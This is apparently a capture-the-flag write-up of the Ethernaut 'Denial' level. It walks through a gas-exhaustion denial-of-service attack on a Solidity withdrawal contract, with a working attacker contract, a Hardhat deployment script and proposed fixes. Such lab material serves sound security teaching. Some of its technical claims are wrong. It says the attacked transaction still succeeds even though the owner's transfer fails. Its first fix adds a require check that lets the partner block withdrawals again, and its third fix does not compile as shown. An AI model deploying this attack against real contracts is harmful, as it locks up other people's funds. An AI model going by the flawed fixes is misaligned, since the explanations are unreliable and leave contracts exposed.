March 15, 2024

Denial Challenge - Ethernaut Level 20

6 min readDifficulty: Medium

Challenge Description

Denial of ServiceSolidityGas ManagementLevel 20

Challenge Goal

Prevent the owner from withdrawing funds by making the withdraw function fail. This requires understanding how low-level calls work and how gas consumption can be exploited to cause a Denial of Service attack.

The Vulnerable Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        // solhint-disable-next-line
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

The Vulnerability

The vulnerability in this contract is a classic Denial of Service (DoS) attack. The issue is in the withdraw function:

  1. Low-Level Call Without Gas Limit: The contract uses partner.call{value: amountToSend}("") without specifying a gas limit
  2. Order of Operations: The partner's call happens before the owner's transfer
  3. No Return Value Check: The contract doesn't check if the partner's call succeeded
  4. Gas Consumption: The partner can consume all available gas in their receive function

The key insight is that when using .call without a gas limit, all remaining gas is forwarded to the called contract by default. If we create a malicious partner contract that uses up all the gas in its receive function, the owner's transfer will fail due to out of gas.

The Attack Contract

Here's the attack contract that exploits this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialAttack {
    // Gas-consuming operation in receive function
    receive() external payable {
        // Consume all available gas
        uint256 i = 0;
        while(i < type(uint256).max) {
            i++;
        }
    }
}

How the Attack Works

Attack Flow:

  1. Deploy Attack Contract: Deploy the DenialAttack contract
  2. Set as Partner: Call setWithdrawPartner to set our attack contract as the withdrawal partner
  3. Trigger Withdraw: When anyone calls withdraw(), our contract's receive function is triggered
  4. Consume Gas: Our receive function enters an infinite loop, consuming all available gas
  5. Prevent Owner Transfer: The owner's transfer fails due to insufficient gas
  6. Transaction Succeeds: The transaction still succeeds because the partner's call is not checked for success

Key Attack Code:

// The critical part - infinite loop to consume all gas
receive() external payable {
    while(true) {}
}

// This ensures that when the Denial contract calls us,
// we consume all remaining gas, preventing the owner's transfer

Deployment and Execution Script

Here's the script to deploy and execute the attack:

const hre = require("hardhat");
require("dotenv").config();

async function main() {
  // Get the Denial contract address from .env
  const denialAddress = process.env.DENIAL_ADDRESS;
  if (!denialAddress) {
    throw new Error("Please set DENIAL_ADDRESS in your .env file");
  }
  console.log("Denial contract address:", denialAddress);

  // Deploy the attack contract
  const DenialAttack = await hre.ethers.getContractFactory("DenialAttack");
  const attack = await DenialAttack.deploy();
  await attack.waitForDeployment();
  console.log("DenialAttack deployed to:", await attack.getAddress());

  // Get the Denial contract instance
  const Denial = await hre.ethers.getContractFactory("Denial");
  const denial = await Denial.attach(denialAddress);

  // Set our attack contract as the withdrawal partner
  console.log("Setting attack contract as withdrawal partner...");
  const tx = await denial.setWithdrawPartner(await attack.getAddress());
  await tx.wait();
  console.log("Attack contract set as withdrawal partner!");

  // Verify it worked by checking the partner address
  const partner = await denial.partner();
  console.log("Current withdrawal partner:", partner);
  
  if (partner.toLowerCase() === (await attack.getAddress()).toLowerCase()) {
    console.log("Attack successful! The owner will not be able to withdraw funds.");
  }
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Why This Attack Works

Gas Management in Ethereum:

  • Gas Limit: Every transaction has a gas limit that determines the maximum amount of gas that can be consumed
  • Low-Level Calls: When using .call without specifying gas, all remaining gas is forwarded to the called contract
  • Gas Consumption: If the called contract consumes all available gas, subsequent operations in the calling contract will fail
  • Transaction Success: Even if the called contract fails, the transaction can still succeed if the failure isn't checked

Order of Operations:

// In the withdraw() function:
1. partner.call{value: amountToSend}("")  // Our attack consumes all gas
2. payable(owner).transfer(amountToSend)  // This fails due to insufficient gas
3. timeLastWithdrawn = block.timestamp    // This never executes
4. withdrawPartnerBalances[partner] += amountToSend  // This never executes

Security Lessons

  • Gas Limits: Always specify gas limits when using low-level calls to prevent DoS attacks
  • Return Value Checks: Always check the return value of external calls to ensure they succeeded
  • Order of Operations: Be careful about the order of operations, especially when external calls are involved
  • Pull Over Push Pattern: Consider using the pull-over-push pattern where recipients withdraw funds themselves
  • Gas Estimation: Estimate gas requirements for external calls and set appropriate limits

Prevention

Here's how you could fix the vulnerable contract:

// Fixed version 1: Add gas limit and return value check
function withdraw() public {
    uint256 amountToSend = address(this).balance / 100;
    
    // Set a reasonable gas limit and check return value
    (bool success,) = partner.call{value: amountToSend, gas: 5000}("");
    require(success, "Partner transfer failed");
    
    payable(owner).transfer(amountToSend);
    timeLastWithdrawn = block.timestamp;
    withdrawPartnerBalances[partner] += amountToSend;
}

// Fixed version 2: Use pull-over-push pattern
contract DenialFixed {
    address public partner;
    address public constant owner = address(0xA9E);
    mapping(address => uint256) public withdrawPartnerBalances;
    
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        
        // Only transfer to owner, let partner withdraw themselves
        payable(owner).transfer(amountToSend);
        withdrawPartnerBalances[partner] += amountToSend;
    }
    
    // Partner can withdraw their funds
    function withdrawPartnerFunds() public {
        require(msg.sender == partner, "Only partner can withdraw");
        uint256 amount = withdrawPartnerBalances[partner];
        require(amount > 0, "No funds to withdraw");
        
        withdrawPartnerBalances[partner] = 0;
        payable(partner).transfer(amount);
    }
}

// Fixed version 3: Use ReentrancyGuard and gas limits
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract DenialFixed is ReentrancyGuard {
    function withdraw() public nonReentrant {
        uint256 amountToSend = address(this).balance / 100;
        
        // Use a fixed gas limit and check success
        (bool success,) = partner.call{value: amountToSend, gas: 5000}("");
        require(success, "Partner transfer failed");
        
        payable(owner).transfer(amountToSend);
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }
}

Real-World Implications

This type of vulnerability can occur in various real-world scenarios:

  • Payment Systems: Contracts that distribute payments to multiple recipients
  • Split Contracts: Contracts that split funds between partners or team members
  • Escrow Services: Contracts that hold funds and distribute them to multiple parties
  • Reward Systems: Contracts that distribute rewards or dividends to token holders
  • Multi-Signature Wallets: Wallets that distribute funds to multiple signers

Gas Optimization Considerations

When designing contracts that make external calls:

  • Gas Limits: Set appropriate gas limits for external calls based on expected gas consumption
  • Batch Operations: Consider batching operations to reduce the number of external calls
  • Pull Pattern: Use pull-over-push patterns where recipients withdraw funds themselves
  • Gas Estimation: Test gas consumption with various scenarios to set appropriate limits
  • Fallback Mechanisms: Implement fallback mechanisms when external calls fail

Conclusion

The Denial challenge teaches us about the importance of proper gas management and external call handling in smart contracts. The key takeaway is that low-level calls without gas limits can be exploited to cause Denial of Service attacks.

This vulnerability demonstrates why it's crucial to understand how gas works in Ethereum and to implement proper safeguards when making external calls. Always set gas limits, check return values, and consider using safer patterns like pull-over-push for fund distribution.

Your Notes